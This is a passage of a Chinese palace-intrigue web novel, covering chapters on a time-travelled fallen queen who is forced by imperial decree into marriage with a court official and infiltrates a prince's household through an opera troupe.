“...........”王太妃本来还有点怀疑人生,忽然意识到一个问题,道,“梨儿,你之前告诉我,你在哪长大的来着?” 这葡萄酿的果酒味道太好了,味道熟悉得让上官梨想落泪,她品味半晌,认真回道:“大阜。” “好了没事了,喝去吧。”王太妃白眼道,“温室里长大的孩子就是呆傻。” 王太妃从小家教甚严,待在这个堕落的地方如坐针毡。 她两根指头接过太后递来的酒杯,把胳膊伸出窗外倒了,在心中盼望着上官梨赶快把这个疯婆子喝倒。 乒,但毫无征兆地倒下的是上官梨。 这种酒精味不重的酒最容易让人在无知无觉中醉倒。上官梨从未饮过酒,酒量浅得很,花瓣般娇嫩的脸颊涨得通红。 太后伸出一根手指戳着她手感极好的脸蛋,十分可惜道:“哎呀,这就醉了?” 实在是太丢人了,真是让人笑话。 王太妃立刻想要带着她告辞,太后用一句话终结了她的动作,道:“别急啊,哀家现在心情不错。” 上官梨的大脑没有这么不清楚过。朦朦胧胧间,她感到太后又仰头灌了一口酒,热气喷吐在她的耳侧,轻轻地说了什么。 别在这种时候说重要的事啊,根本记不得的—— 酒醉是无法抵抗的。 上官梨倒在金丝楠木床上,被子上的金线硌着她的脸颊。但哪怕拼命抵抗,她的意识还是坠入了黑甜的梦乡。 70. 第70章 恶童戏语说荒唐 皇太后最后究竟说了什么? 上官梨在睡梦中尤自紧皱着眉头,发出可爱的呜咽声,脸颊泛上不自然的红。 而且她真的会说实话吗?其实只是在戏弄上官梨吧? 上官梨翻了个身,被褥是华贵的丝绸所织,狡猾地从她的肩膀上滑下去了,露出大片雪白的肌肤。 一张卷轴在她脸侧唰一下展开。 慕容熙人真好,还贴心地帮上官梨掖了掖被角。 见过上官皇后的人不约而同地从未透露她的面容。 因此画卷上的女人只是身着华服,不甚端庄地立在画布上,被遮挡住的眼睛不知望向何方。 这等身高的肖像画是慕容熙抄了地助会的老巢得来的。 对于背刺合作伙伴,他一点也不以为耻。 不背刺能算一次完整的结盟么?他的老祖宗历史上那么多次背盟,他如果变得诚实可信,岂不是让祖宗笑话? 上官梨本人明显更加美艳。慕容熙发出不满的啧声,疯皇帝画技不行啊。 窗外鸟鸣啾啾,雨声淅淅沥沥地暧昧不清,烛火些微地颤抖。上官梨按了按太阳穴,因为醉酒而头痛,半晌才缓缓睁开眼睛。 熏香是她不熟悉的味道,约莫是王太妃容她在宫中安睡。上官梨没在乎这个,猛地坐起身,拼命想皇太后在最后究竟说了什么。 她正努力间,余光瞟到床边好像跪了个人。 ? 上官梨猛地转头。 是个打扮得花枝招展的男人,身高腿长,脸蛋颇为俊俏,眼角上扬,自带一种勾引人的楚楚可怜之感,看着就不像什么正经人。 如果把这人放在皇太后那堆男宠堆里,起码也是个夯。 不知道为什么,他看起来有点面熟,但上官梨又不记得自己见过这号花孔雀。 男宠笑起来更像狐狸,眼睛笑成弯弯的弧,道:“大人,请让我服侍您更衣。” “不用了谢谢。”上官梨道,“请帮我叫来个侍女可以么?我不会梳发髻。” “可是,”男宠眨巴眨巴眼睛,泫然欲泣,道,“太后心情好,已经把我赏给大人玩了呀。若是我伺候不好大人,定会受罚的。” “..........”上官梨真的佩服他的职业素养,道,“那你现在自由了。” 上官梨一个根正苗红的现代女子,真的没有玩弄别人身心的爱好,裹在被子里一通折腾。 自己把衣服穿好了,只冒出一个黑发凌乱的脑袋,虽然于礼不合,现在也没办法了,道:“时候不早了,我需得回府。” 她赤脚在地上踩了一踩,想去寻自己的绣鞋,没踩到冰凉光滑的地板,却觉得踩到了柔软温热的什么东西。 那是男宠的手掌。男宠在她的足尖碰到地面之前垫在了下面,握住她的脚踝只需要食指中指轻轻握个圈儿。他用这种令人毛骨悚然的轻柔和克制,给上官梨仔仔细细穿好袜子和绣鞋。 慕容熙眼神如小勾子一般,笑道:“怎么好让大人漂亮的肌肤染了尘呢?” 上官梨如果真是只奶牛猫,她现在浑身的毛都应该炸开了。有变态啊! 慕容熙还想再给上官梨把头发也梳了,上官梨已经跳起来,箭一样冲出门去。 这真是太稀奇了,她从来没有感觉这么惊悚过! 王太妃坐在大殿中心如死灰,死死抓着自己的衣服。 罪魁祸首皇太后左拥右抱着两个男宠,并试图把第三个塞进王太妃怀里,试图邀她同乐,笑道:“来玩嘛。先帝也没办法掀了棺材板指责你呀?” “我比较传统。”王太妃很绝望,见到上官梨跑出来,如同见到救命稻草,只道,“你终于醒了!” 于是上前抓起上官梨,二人只消对视一眼,千言万语尽在不言中,双双遁逃。 皇太后大笑。她挥挥手让男宠们滚下去,重又给自己倒了杯酒,道:“真是不经逗。” “对呀,真是不经逗。” 慕容熙挺可惜地从西厢房中钻出来,穿着一身男宠的暴露衣着,也道。 “噗!”皇太后眼前一黑,差点没把自己呛死,以为自己产生了些许幻觉。 要是幻觉就好了。太后绝望道:“熙儿!你发什么疯?你穿的什么玩意儿,能不能要点脸?我的面子都被你丢净了,让人笑话!” “怎么?”慕容熙十分不满,道,“只许娘找男宠,不许儿子当男宠?哪有这样的道理???” “你如果想要这样的女子,就去娶啊?我给你挣出这样的权势地位,不是让你学这种勾栏做派的。求求你不要再给我丢人了!” “那怎么能行?”慕容熙大怒,道,“如果明媒正娶,怎么能彰显出我的独一无二?妻不如妾妾不如偷这种浅显易懂的道理,娘比我懂。我慕容熙发誓,此生只做外室!” 大约恶人自有恶人磨,太后何等人物,一生只在自己的儿女身上栽过跟头。 大女儿,不争气;大儿子,不争气;小儿子,疯子。 面对如此大言不惭的慕容熙,她的反应有也且只能有一个: “??????” “可......”太后瞠目结舌,道,“刚刚那小娘子应该是独身?你现在上位怎么都是正室!” “这好办。”慕容熙早就想好了,道,“我让皇兄给她赐一桩好姻缘不就得了?” 太后仰头狂饮了一整碗烈酒,在血液中迅速上升的酒精浓度中,安详地晕过去了。 嚣张了一辈子的皇太后终于久违地生出了一点忏悔: 先帝啊,生出这种东西来,我对不起你。 . 王氏府邸。 水边的小亭中,王怀璟自在抚琴,上官梨靠在柱子上,小腿上仿佛仍有另一个人的体温,毛毛的。 她抚了抚手臂,不确定道:“太后在我睡前告诉我的应该是‘陛下长得像先帝,不像我’。” “陛下长得不像先帝还能像谁?”这完全是句废话。 王怀璟无语道:“至少皇太后确实知情。剩下的事,我会在宫中托人暗中调查。” “先帝长什么样子?”上官梨问。 王怀璟怎么会知道,先帝在时,他还没入朝为官呢。但家中长辈偶尔会提起,他不确定道:“圆眼圆脸,个子有点矮, 看着很慈祥,但心机深不可测。” 托慕容熙的福,现在慕容微肥胖、跛脚、面容受创。就算能说他像谁,也是十岁之前的事了。 上官梨脑子里已经脑补出了一场狗血大戏。她道:“太后的身高并不很高。我并未见过慕容熙,但慕容华——她和我的身量相当,只比我矮一点点。” “........”王怀璟也意识到了不对,道,“而慕容熙比我还要高一两寸。” 在这人均营养不良吃不饱饭的年代,想要长得高,除了营养好,也得中一点基因彩票。 上官梨有一种莫名的感觉,太后不会对她撒谎,这个疯癫的女人一直在等待着秘密公之于众的那一刻。 就像如果上官梨做出了点成绩,也绝对不会想要被埋没的。 她迟疑道:“陛下像先帝,那——不像的是谁呢?” 答案已摆在明面上,慕容华和慕容熙。 几乎在耳旁能听见太后的大笑。 她做出混淆皇室血脉这样出格的事情,居然几十年来没有人发现,她多为此沾沾自喜,又多憋闷呀? 上官梨很有点佩服她了,道:“如果是我,我做成这么大的事,肯定忍不了这么久。” “你可以不偷/情。”王怀璟面无表情道,“太好了,你将来复仇的对象可以少两位了,这两人活着也是搞祖宗心态——这种密辛我真是一点儿也不想知道。” “那陛下知道么?看着自己的兄弟姐妹和自己长得完全不像,再小的孩子也会发现些许端倪。” 上官梨摸了摸自己的脸颊,她和母亲几乎是一个模子里刻出来的。 她道:“或许这才是慕容微被跛脚、毁容的原因?” “但不是能解释为什么陛下死而复生的原因。” 王怀璟皱眉,道:“而且反了吧?陛下才是最重要的那个孩子,怎么会被毁成这样.......” 王府外传来马蹄和嘈杂声响,二人同时噤声,上官梨还懵懵地靠着柱子,王怀璟已经默默抱着琴向外走了。 孤男寡女,是不能这样暧昧地共处的。 很快就不是了。 白面无须的大太监用怜悯的眼神看着跪了一地的王氏中人,手捧圣旨,恭恭敬敬地展开了: “奉天承运皇帝,诏曰: 王氏有好女,名讳为梨,有勇有谋,性情刚直,朕心甚爱。” 上官梨跪在人群中,一阵狂喜。 如果把她纳入后宫,那她就把枪管塞进陛下的喉咙里,不信他脑袋开花还能活。 圣旨一转: “恰逢王氏同有未婚嫡子,排行第三,孤傲冷淡,若二人结为夫妻,必为怨偶,婚姻不睦,念之便觉断肠。 朕特为此二人作媒,许十日之内完婚。” 上官梨抬头:“?” 家中排行第三,嫡子王怀璟:“??” 王氏其他人:“???” 太监念完,居然没人接旨,所有人都像被冻住了一样,只有一种巨大的荒谬席卷了所有人,这一刻不管男女老少都是一个感想: 慕容微终于摔到脑子了? 71. 第71章 常伪真心作假意 上官梨缓缓转头,被帷幕盖着,大家看不清楚她的表情。但大家能看到王怀璟的,此人脸上表情前所未有的精彩纷呈,简直像是被雷劈了。 娶上官梨吗? 那我的九族怎么办! 王怀璟从来没有思考过这个可能,和上官梨这样的女子共度一生么?简直太可怕了! “我要进宫。”王怀璟从牙缝中挤出来一句话,铿锵道,“我要面圣!” “我也要!”上官梨立刻跟随。 “陛下早已说了,不见。” 在王怀璟绝望的目光中,大太监掀了掀眼皮,皮笑肉不笑道:“还望大理寺卿莫要推辞,这可是一桩好姻缘。” 好在哪? 大太监一走,王怀璟捧着圣旨,一动不动。王氏族人充分发挥了家族传统,聚在一起窃窃私语,间或颇为自信地点点头。 “他们之前一定有过苗头,不然怎么陛下不给别人赐婚,只给他们两个赐婚?” “这是侮辱!我们王氏的嫡子怎么能娶一个门不当户不对的女子?” “要身份相当就得娶谢氏谢骊了,难不成你想和谢氏做亲家啊?” “梨儿真是好手段,我必学习,一定能活用于下一代........” 都什么有的没的,王氏族人没一个靠得住的。王怀璟抓住上官梨的小臂,将此人强行带离了此地。 水边小亭,四下无人,二人的肩头都被雨丝淋湿了一半。 上官梨挣开他的桎梏,把乱掉的发丝搭在耳后,认真道:“你别急。我不会碰你。我又不喜欢你。” “反了吧?”王怀璟以手扶额,实在不想和上官梨就此事争出个长短来,心绪复杂难以言表。 谁没有梦想过自己将来妻子的模样呢? 王氏已经是世家的顶端,按理来说王怀璟可以娶任何一个他想要的女子。 不看门第,不看出身,他更想要人能跟他有心灵的共鸣,娶一个能够理解他,最好能有点小崇拜他的,单纯而可爱的小娘子。 “我已经结过两次亲了,再结第三次也没差,也不在乎自己的名声。” 上官梨看王怀璟十分沮丧,安慰他道:“若能事成,你自可以说我有死掉的白月光,守身如玉,对你非打即骂又精神控制,婚后你过得很惨。如果你还不放心,我还可以出具没碰过你的保证书哦,保证你在二婚的时候还是没开封过的新品。” 王怀璟想象了一下那个画面,上官梨的建议大约只起到了让人血压爆炸的作用,果断道:“不。你千万不要有这种想法,快忘掉!” “那就说你有出国的白月光?你一直苦等,为她守身如玉,宁死都不碰我一下?”上官梨脑子很灵活,立刻又提出建议。 “那个也忘掉。” 王怀璟把上官梨的帷帽一摘,上官梨的睫毛被他的动作溅上了一滴雨珠,这晶莹剔透的水珠稳稳地颤了一颤,才被她轻轻眨掉。 有上官梨做妻子这辈子就毁了。 没人会觉得娶这样的美人是心不甘情不愿,你娶了她,自然要一辈子爱她。如果她将来红杏出墙,就是你没有本事。 如果男子居然有了这样侬艳的妻子还出轨,那简直就是人渣、废物、瞎了眼啊! 王怀璟沉痛道:“没人会信的,我这辈子要毁于你手了。” 上官梨感到很莫名。她嘟囔道:“本来你我就是比夫妻更亲近的关系。” “你慎言,我们不是。”王怀璟有预感上官梨又要发出暴言,提前制止了她。 上官梨的笑容在王怀璟看来比地狱中的恶魔还邪恶。 她伸出一根手指,言之凿凿道:“若是我失败了,不论你我是不是夫妻,你都得给我陪葬!你看,连夫妻都还没办法睡在同一个墓穴里呢。” “谢谢你,不说我也是一点没忘。”不能再这样下去了,王怀璟强行把这段对话扭转回正题,道,“我担心的是,陛下是否已经发现,你就是几次三番刺杀的那个人?” “那他怎么不直接杀掉我?”上官梨的笑容中夹杂了些讥讽的意味,语气莫名地尖锐,道,“难道我嫁给你之后就会从良么?认为我死一个丈夫,赔我一个我就会和他冰释前嫌吗?” 上官梨鲜少有这种时刻。 王怀璟也不知道自己是以一种什么样的心思说出这句话的。他道:“你对亡夫还真是一往情深。” 这话说得失了分寸,只作为一对死刑犯来说,管得太宽。 但很幸运,上官梨不会察觉到这些。 她撑起油纸伞,转身离开,摆手道:“才没有呢。这只是.......” 上官梨顿了顿,心绪翻滚,莫名的感觉充盈了胸腔,让心脏每一次蹦跳都很难过。她回头笑了,道:“责任而已吧?毕竟都是我的错啊。” 聘聘婷婷的背影走远了。 “.........”王怀璟慢慢地以手扶额,自言自语道,“居然真的是死掉的白月光,我还以为她只是说说而已呢?” 真是无比灾难的一场赐婚。 . 上官梨不知道慕容微怎么想的,但是她今晚没能睡着,怎么想都是慕容氏的原因。 这世上有很多个慕容,手握兵权的慕容,坐在龙椅上手握大权的慕容,躺在宫中辗转反侧的慕容,花天酒地的慕容,害我至此的慕容们。 窗外传来淅淅沥沥的雨声,有种令人安睡的氛围。 上官梨只穿着寝衣,跪坐在光洁的地面上,把一把又一把的枪/支从箱子里拿出来,擦干净,又放回去。枪支碰撞发出轻微的金属声。 指尖触及箱底一物,上官梨指尖轻轻一顿。 要不要直接把这里全炸掉呢? 就像大秉毁掉利阳一样。 大秉军花了几个月的时间一点点派兵布阵,在利阳城中小心翼翼地放置□□,而上官梨不用那么麻烦。 她可是天才,很厉害吧? “大人呐。” 上官梨缩回了手,无辜地抬眼。 慕容轻两个眼皮子都在打架,但外面有人忧郁地疯狂弹琴,内间有人在不知收敛地乒乒乓乓,就算是个死人也该掀棺材板了。 她打了个哈欠,手中的灯盏随之晃动,道:“您的复国计划怎么样了?” “缺少目标。”上官梨客观且准确地回答。 “我可以给您一个目标,”慕容轻帮她把枪/支一把把收回去,一指窗外,面无表情且幽怨道,“现在出去让外面那疯子快别弹了。” 王怀璟现在太忧郁了。琴师情绪波动越大,越容易超水平发挥,琴音像是要送走所有人。 “阿轻。”上官梨转过脸儿来,面孔不甚清晰,她道,“你为什么还在我身边呢?” “你发髻都不会梳,兴冲冲要自己做事,把一件新衣 服洗破三个大洞。一度以为自己生长痛,后来慕容华发现你是早上不穿秋裤冻的。” 上官梨:“........” 慕容轻面无表情道:“还有,分不清五谷和毒草,不知道动物要去掉内脏再煮。做的饭把我吃出食物中毒,腹泻呕吐三天,那真是我这辈子离死亡最近的一次。” 上官梨:“................” 天才总是要付出一点代价的。 慕容轻的声音简直振聋发聩,让上官梨抬不起头。 她胡噜了一把上官梨绸缎般的黑色长发,嗟叹道:“大人呐,你怎么不想想,你自己怎么能活得下去呢!快睡吧,少想有的没的。” “哦。”上官梨老实了,乖乖躺回床上。 “到头来还是没回答我的问题。”上官梨抓着被角,嘟囔道。 她起身打开窗户,在骤然加重的雨声中,大声对着那个小亭上的人影喊道:“你刑法上绑定的妻子要求你不许再弹了!” 嘣,王怀璟额角青筋狂跳,弹断了一根琴弦。 . 第二日,上官梨就想开了。 作为一个华国人,她深刻反思了自己深夜抑郁的原因,认为是自己迟迟没有进展导致的。 那既然慕容微处理不掉,那就先杀慕容熙助助兴吧。 上官梨说干就干。 大阜遗民报复过一些人,慕容王族大都风声鹤唳地藏了起来,现在行踪很难找。 只有慕容熙因为没有封地,一直留在琼华。 上官梨扮作走街串巷的卖花女,在慕容王府外徘徊蹲点几日,收获甚少,连慕容熙的正脸都没见过。 华贵的马车整日来来去去,有些是达官显贵,有些是浪荡权贵,有些却是戏子。 慕容熙尤其爱听戏,府中设有戏台,整日整日唱戏,而且不爱看经典曲目,就爱看低/俗的。 “这花少见,多少钱?” “不卖,纯欣赏。” 什么人呐?路人气冲冲地走了。 上官梨麻木地揪了片菊花的花瓣,戳在路边。 她现在已经娴熟到只要听个前奏,就知道现在慕容府中唱的是《后与帝》,而不是《别令郎》;刚刚她还听了《皇后赐金》,《霸道皇后俏秀才》,《娇皇后怯文君》三部曲,大约是不知道哪个书生写的最终幻想大作。 一天到晚就看这些玩意,慕容熙是不是有毛病啊? 慕容熙可是带兵把大阜覆灭的主将。 对于他的这种行为,上官梨只能将其认为是一种极其恶劣的挑衅。 她腾地站起身来,狂奔回到王氏府邸。 王怀璟很焦躁,房中放满了杂七杂八的东西,布帛从桌子上堆到地板上。 赐婚不能不遵守,而上官梨一天到晚找不见人影,他只能自己统筹,忙得团团转。 砰,上官梨大步流星闯进他的小院,怀中不知为何抱着一大束雪白的菊花,硕大而盛放着,散发着不详的气息。 她劈头盖脸道:“你和慕容熙熟吗?” 王怀璟皱起眉头,道:“不算熟。这人性子顽劣,我不愿与他打交道。花哪捡来的?多不吉利,扔出去。” “谢府门口放的,我借来用用,等下得给人家还回去。”上官梨道,“不说这个,那你有戏班子的人脉么?” “我要扮演我自己!” 72. 第72章 命途吉时总高照 “你又在发什么疯。”王怀璟额角青筋狂跳,没把上官梨的话放在耳中,道,“一点都不紧张么?” 上官梨的心跳现在很平缓,反问道:“有什么事能比刺杀君王还紧张?” “跟你说不明白。”王怀璟把目光从她身上收回来,重又放在手中的礼单上,认真征询她的意见,道,“我必须把这仓促的婚礼筹备得完美无缺才能不让人笑话——你认为喜烛应该用六根还是八根?” 上官梨:“.........” 王怀璟处于一种高度的焦虑中,答非所问,没办法做到任何事。 上官梨换了身粗布麻衣,走在热闹的市集上,想不通他为什么这么焦躁,只能用恨嫁来解释。 大秉的戏班子很多,大约也是因为慕容熙这王爷数十年如一日地热爱,从不吝啬给赏钱的原因。 问题在于,他们的班底大都是从小时候开始培养的。虽然上官梨外貌上佳,身体也灵活,但这么大年龄再做这一行已经晚了! 这年头,真是想自己扮演自己都不行了。 上官梨接连碰壁,并不气馁,在天黑之前,终于也是找到了一个愿意收留她这来路不明的门外汉的戏班。 班主生得五大三粗,举止中有种不符合外表的媚劲,上下打量上官梨,道:“身形不错。但女主角的位置这里已经没了,别的位置倒是还急缺人。” 他拍拍手,机灵的小童给上官梨递上戏本。 这个世界百分之八十都是文盲,这班主字迹也写得颇为稀松疏漏,上官梨看了许久才看明白,意外道:“要我去扮演慕容华?” “长公主的事,我们这些下人不便详述。”班主眯着眼笑道,“所以慕容华只需要存在。没有戏份,没有台词,越漂亮完美越好。” 没有比这个更加适合上官梨混入王府的身份。 她当即应了。 上官梨为了混进戏班,胡乱杜撰了一个家道中落、身无长技、不想被卖、出来赚钱的落魄小姐身份。 班主念起,怀着点愧疚,又道:“我们现在不过刚起步,薪资不足,等演完这一把,有了王爷给的赏钱,才能发得起你的工钱。在此之前,你就先随着我班子中的人吃用吧。” 上官梨自无不可。 这戏班子是班主一手拉起来的,穷得叮当响,除了几个成年男女勉强凑作主役,剩下的都是一帮十几岁的半大孩子。 班主喜笑颜开地拉着这个新晋的便宜牛马来到院中。 正值饭点,他寻了个破碗,把锅中仅剩的半碗稀粥倒给了她,道:“演出在即,我还有事要忙。你若有什么不懂的事,可以去问小满,他虽然年幼,但是咱们戏班子中最有天赋的人!” 逼仄的小院中,这帮半大孩子围着饭桌团团坐,每一个把自己的饭碗捂得死紧,看着上官梨的模样像是在看着一头陌生的饿狼。 那个名叫小满的孩子应了声。 他也约莫十一二岁,两颊深深地凹陷了下去,一对大眼睛像是星星一样亮,带着些许骐骥望着上官梨。 在这样的目光下,上官梨但凡能吃下去一粒米,都算她心如铁石不可动摇。 大秉人咋这坏!大秉人咋这么坏啊! 班主一走,上官梨就把稀粥砰地一声放在了桌上,道:“你们分吧!” 没有孩子动,这些小孩不知道为什么一个二个的格外老实,都眼巴巴地看着小满。 小满把那个碗推了回来,道:“大姐姐,我们绝不会欺负你。我一定会成为名角,让戏班子赚的盆满钵满,到时候大家都能过上好日子。所以,不用为此时的一碗饭而争来争去。” 上官梨.......上官梨好愧疚啊! 她比此地之人空阅几千年岁月,自命不凡,到头来做到的事不过寥寥。 “我虽然家道中落,但家中仍有余粮。”上官梨拿勺给每个人都分了分,道,“你们不用顾及我。我已经是大人,大人天生就是要照顾小孩子的。” 那些个大半孩子欢呼一声,欢天喜地地继续扒饭,而小满若有所思。 用过饭,这帮孩子便要继续练功,一个木讷但五官端正的男子负责教导他们。 这些孩子们基础都很差,都是班主在路上捡来的流民,胜在便宜能吃苦,一声惨叫都不发出。 只有小满,他不光筋骨柔韧,甚至可以连翻三十个跟头,唱腔虽还略显稚嫩,但一举一动已经颇有架势。 上官梨在旁边看着他们练功,已经感到十分的幻痛。 她不能利用这些可怜人。 事了了,她可以逃之夭夭,之后这帮半大孩子和几个大人可没有贵女勋贵们的身世,抓起来全砍了都没人帮忙伸冤。 想办法接济他们些银钱,直到他们能自己养活自己吧。 就在上官梨沉吟应该去谢府打劫还是去王府偷盗的时候,小满擦了擦额头上的汗水,主动凑过来。 他的声音还是小孩音,有些稚气,道:“梨儿姐姐,本来应该由另一个姐姐来教你,但她脾气古怪,喜欢摆角儿架子,不喜欢我们。就由我来教你吧。” “我看了台本,我的角色什么都不用做。”上官梨摸了摸他的脑袋,道,“我只要漂漂亮亮站在上面,会喊‘小姐’‘大人’‘娘娘’就行了。” “这样下去不行。”小满把腿上绑的砖卸了下去,握住她的手认真道,“编排邻国皇后的戏码只是为了赚王爷的钱。等王爷想看下一个人的戏,梨儿姐姐,你就会从这里被赶出去的。” “还是说,梨儿姐姐其实根本没有家道中落,其实是另有所图?” 这孩子确实比其他孩子聪明一些。 上官梨哑然失笑,道:“不。原本我出行可以坐日行万里的马,现在只能坐日行千里的骏马;原本我发出的声音可以被数万人听到,现在有一百人听到就是万幸了。如果你不相信,我可以告诉你,我原本每日清晨都能吃到牛肉做的包子,牛肉吃起来比鸡肉更有嚼劲、更香哦。” 此话一出,上官梨的可信度立刻提高了不知道多少个档次。小满咽了口口水,简直不敢想象那种味道,道:“包子........” 小孩都没饭吃,这大秉人咋这坏啊! 上官梨掏荷包的手简直不受控制,道:“我这里其实还有些银钱。” “不。”小满艰难地控制住了自己,并同时按住了上官梨的手,道,“姐姐,你这样下去只会坐吃山空的。我只需要知道未来有一天,能过这样的好日子就够啦。” 上官梨大受震撼,上官梨无言以对。 她死死抓住小满的肩膀,发自肺腑地崩溃道:“为什么你这样的好孩子会吃不饱饭呢?” 雨丝飘了一阵子,又停了。 上官梨一看就是富家出来的女子,平和而温柔,不会因为饿肚子而焦躁,也不会因为身体上绵延不绝的病痛而变得难以相处。 要怎么才能抚慰大人高高在上的同情心呢?小满苦恼地挠了挠头,诚实道:“梨儿姐姐,其实是因为我家出了大罪人,朝廷抄了我的家,我现在吃的苦是罪有应得。” 谁知道会是这么个原因,上官梨发出一声短促的声音: “啊?” . “天凉了,慕容氏该死了。” 王氏府邸,不同纹样和大小的喜烛铺了一地,他做不出选择,于是选了所有的选择。 大婚之时这些烛火将把整座府邸照得通明,丝竹声彻夜不休,有头有脸的世子贵女们都会到来,宾客们将见证嫁妆从街这头到了街那头连成一个圆。 从此以后这场婚宴将成为众人津津乐道的幸事,每个权贵嫁女娶亲都得和他王怀璟作比较! 在这样热烈而狂热的氛围中,上官梨这位被指定的新娘坐在烛火的阴影里,一对凌厉的美目氤氲着雾气。 毕竟是人生大事,她蹦出些惊世骇俗之语也是当然的。 王怀璟提着两件赶制出来的喜服出现,一见她,立刻皱起眉头,道:“你脸上化的什么玩意儿?” “角色试妆。” 她嘴唇被涂得格外的红,像是要流血一样,皮肤则太白,眼影又太重,显得气色全无,像个索命厉鬼。 上官梨热爱摇滚,没觉得有什么不对,道:“班主给我化的,像慕容华么?” “外行人。”王怀璟不忍直视,摇头道,“很可怕,快擦了。到时候我会亲自为你上妆。” “除了你之外又没人能看到。”上官梨心不在焉地嘀咕。 “那也不行。”王怀璟把喜服往上官梨身上比划,头也不抬道,“那不是会让人笑话吗?” 上官梨:“.........” 来大秉这么久了,她对此地习俗已经不再像之前那样无语,小声嘀咕道:“为什么要在乎其他人怎么想呢?” “因为我还得在大秉活着,不像你是亡命徒。”王怀璟耳朵实在太灵敏了,道,“腰身还要再收一些。我去叫人连夜修改,你好好歇息。” 他风风火火地跨过门槛。 上官梨取了清水来,用肥皂仔仔细细把脸洗了,更加小声地腹诽道:“你马上就要娶一个亡命徒了,还在乎这些?” . 翌日,亡命徒出门前,没带枪/支,而是带了许多银钱。 今天不拼命。 戏子们要准备得更早,饰演上官梨的女子和饰演疯皇帝的男子已经上完妆,正在咿咿呀呀地对戏。 班主更是没空,所以给上官梨上妆的不是班主,而是小满。 上官梨也是在慕容熙府外听了许久的戏,就算再愚钝的人也该磨出来点审美了。 但这戏班子的水准......她越听表情越痛苦。 小满了然,借着描眉附在她耳边小声道:“是不是很难听?” 上官梨点头。 “嘿嘿,我就是因此才呆在这里的,这里的未来肯定会是我的。”小满得意道。 唱成这样的曲子慕容熙也会听吗? 上官梨来不及疑惑,班主喜笑颜开地冲进小院,抓起上官梨,道:“快来,莫要误了时辰,若是能讨得王爷欢心,能赏金子呢!” . 婚事实在是太折磨人了。 哪怕耐心细致如王怀璟,也深感要做的事在十日内根本准备不完。 若要按上官梨的意思,天为被地为席贱人为媒,草草喝个交杯酒过去就行了。 怎么能那么做呢?这可是人生中最重要的时刻啊! 王怀璟立刻意识到,这种时刻,上官梨早就有了许多,不需要更多了。 这个嫁过两次人的女人已经不稀罕这第三位男子,再怎么排他也是在其他人后面。 上官皇后的种种传说在民间流传,而上官梨并没有□□给他听的意思。 可他还是第一次啊。虽然王怀璟并不爱她,甚至憎恶她,希望她早点从这个家里离开。 但是就算王怀璟真的能找到喜欢的人,上官梨也会是他人生中抹不掉的一笔。 怀着这样隐蔽的心思,王怀璟提着些胭脂推开上官梨的小院。 慕容轻正坐在廊边吃午饭,没想到王怀璟此时会上门,吃了一半的包子在她手中蒸腾出滚烫的热气。 二人莫名对视一阵,王怀璟不耐烦道:“你家小姐呢?让她莫要再睡午觉,以免误了时辰。” “什么时辰?” “吉时啊!” “.........”连慕容轻的眼神都飘忽了一瞬,反问道,“今天么?” 王怀璟终于意识到他太忙,忙着给所有人写请帖,忙着准备嫁妆和聘礼,忙着操持婚宴,以至于忙忘了一件最重要的事。 忘了通知新娘!!! 73. 第73章 不负如来不负卿 在这堪称窒息般的氛围中,慕容轻艰难地吐出一句话:“大人她.......今日一早便出门了。” 王怀璟:“.........” 慕容轻三两口把包子咽了,一抹嘴道:“我知道她去了哪里,会试着把她带回来。” “但.......她总有更重要的事要做。”慕容轻转了转眼睛,委婉道,“您或许可以另寻个人替她拜堂,大人不会介意的。反正这桩婚事终究不过是慕容微的恶趣味罢了,您也对此意见颇深,对吧?” 匆匆的脚步声远去。 王阳晖分给梨儿的小院破败而偏僻,回廊窄的很,时不时有雨丝飘落在王怀璟的手背上,凉凉的。 上官梨在时,视线永远会集中在她身上,竟然一时忽略了。 王怀璟呆愣了一会儿,自嘲般地摇了摇头。慕容轻说的确实很有道理,请帖已经全发出去了,总不能在这么多人的目光下等待一个落跑的新娘吧? . 离圣旨要求的十日还有一日,上官梨毫无今日便要突兀成亲的自觉。 她坐在慕容王府华贵的马车中,一种毫无来由的压力紧紧攥住了她的心脏。 “不舒服?” 与她同乘的是扮演上官梨的女角儿,性情古怪,那帮孩子都叫她奇姑娘。 “还好。”上官梨掀开马车的帷幕,透了口气,头面发出细碎的碰撞声,道,“我只是不喜欢坐马车。” 两人腿挨着腿,奇姑娘也叹了口气,随口道:“对呀,又慢又不稳当,很暗,还总是很冷。我也不喜欢。” 二人相顾无言,这姑娘五官端正,但肢体动作能看得出来她也相当焦躁。 马车缓缓在慕容王府门口停下,上官梨率先跳下马车,奇姑娘紧随其后,但她相当紧张,被戏服绊了一跤。 上官梨好心扶了她一把,奇姑娘却是十分不习惯一样,猛地把上官梨推开。 上官梨莫名,而奇姑娘看看她,欲言又止。 班主走过来,拍拍奇姑娘的肩膀,语重心长道:“这次我们整个戏班子就全靠你了。” 奇姑娘把没说出来的话咽了,只道:"走吧。" 上官梨从来没见过这么多戏子,慕容王府中仿佛连空气都弥漫着一股脂粉的味道。 台上正演的是《霸道皇后俏书生》,讲述上官皇后在一次出宫中对当时落第而重病的书生一见钟情的抽象故事。 上官梨本人和奇姑娘、将要扮演疯皇帝的木讷男子挤在在昏暗的后台,听着台上女人的娇声絮语,在心中痛骂慕容熙。 用灭国的皇后来取乐,真是不可饶恕。 “走了,该我们了。”奇姑娘拉着上官梨,她手心沁出了一点汗水,“你记住了,要时刻呆在我身后。” 慕容华确实时时刻刻都站在上官梨身后,身为战利品被送去的她很明确自己的地位。 依着排演,上官梨和扮演慕容轻的半大孩子一同站在奇姑娘身后,不动声色地打量台下。 每一个人都年轻而衣着华贵,长得都差不多,分不清是慕容熙的狐朋狗友们还是他本人。 他们演的是《后与帝》,在亡国的皇后身上有诸多香艳而轻松的戏码,但这出戏只需要两个主役就能完成。 以一种别人的身份,来看自己身上发生的事,是一种很奇妙的感受。 上官梨看着奇姑娘伏在男子胸膛,随后又用力把他推开,作苦痛挣扎状,道:“不,我不能容你!容轻,取我剑来!” 扮演容轻的半大孩子半跪在地,呈上一把寒光凛凛的宝剑。 上官梨莫名地心悸,居然伸手拦住了奇姑娘,这是戏本上没有的。 但这确实是慕容华会做的事。 台下无一人有异议,哪怕对这样粗制滥造的戏码、黔驴技穷的主演,这群人也依然维持着高昂的兴趣,简直让人有点觉得可怕了。 奇姑娘看了她一眼,拨开上官梨,握住那宝剑刺向疯皇帝! 男人在舞台上抱头鼠窜,辗转腾挪,令人发笑。 疯皇帝死里逃生,接下来应该是一段上官皇后的内心独白。奇姑娘以剑拄地,相对于她粗糙的唱腔,这句话的感情何其充沛: “想我半生逍遥,何至于此!” 